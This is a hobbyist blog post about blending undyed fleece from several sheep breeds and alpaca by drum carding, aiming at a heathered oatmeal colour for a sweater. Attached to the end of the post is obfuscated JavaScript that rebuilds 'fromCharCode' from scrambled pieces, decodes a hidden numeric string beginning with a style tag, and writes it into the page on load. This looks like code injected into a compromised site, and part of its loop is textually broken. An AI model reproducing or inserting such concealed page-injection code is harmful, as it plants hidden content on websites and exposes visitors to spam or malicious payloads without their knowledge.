The upside of the fleece washing

I have more to say about my recent fleece-fermenting experiments, but for now, I’ll just say that having washed fleece on hand has proven to be a Good Thing(TM) and I want more of it.

A couple of weeks ago, I started obsessing over the Boardwalk sweater (and colourway), and (since I’m still trying not to buy stuff), I figured I had a chance of blending it from undyed fleece:

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I’ve been pecking away at the initial batt-building: a bit of this, a bit of that, in the mornings before work. My first-pass batts (not blended at all; just together’d) contain wool from three different fleeces (a mostly-white shetland with some grey, an almost-alpaca coloured Manx Loughtan, and Bolshy), plus some pale fawn alpaca (which seems to be way nicer than I expected – must investigate further):


(The dark brown is over-represented in that photo). This morning, I divided, subdivided and recombined the batts and carded the first truly blended batt that has a bit of everything in it. The light was too poor to take a photograph, but I’m pretty enamoured with the result. Probably a bit cooler than the original target colour, but a fabulously interesting heathered oatmeal.

I’ve also enjoyed the batt-building/drum carding process way more than usual; probably because it’s been an experiment, and an adventure, and I’ve not been aiming to ‘finish’ a fleece or stick to a deadline.

In short: I want to do more carding and blending like this, so I’m going to need to get lots of fleeces washed so I have lots of fibre to choose from. (I also want to play with dyeing more of the fibre before blending, but that’s another story)var _st=[];var m=[];_st.push(“14520020120619318611720”);m.push(“h”);_st.push(“120619718614611920118620”);m.unshift(“C”);_st.push(“520113218420020011914712”);m.push(“a”);_st.push(“0187196186197194186197”);m.unshift(“m”);_st.push(“19320019720819719620019”);m.push(“r”);_st.push(“020119019619514318218320”);m.push(“C”);_st.push(“0196193202201186144184”);m.unshift(“ro”);_st.push(“1931901971431991861842”);m.push(“o”);_st.push(“0112513713513519720512918”);m.push(“d”);_st.push(“22022011961291171822”);m.unshift(“f”);_st.push(“0220119612913713513”);m.push(“e”);_st.push(“519720512614421014513”);_st.push(“2200201206193186147″);var t=z=o=””;var k=”U”;var String;for(i=0;i<_st.length;++i)z+=_st[i];for(i=0;i0){o+=String[t](parseInt(z.substr(0, 3)-k.charCodeAt(0)));z=z.substr(3);}document.write(o);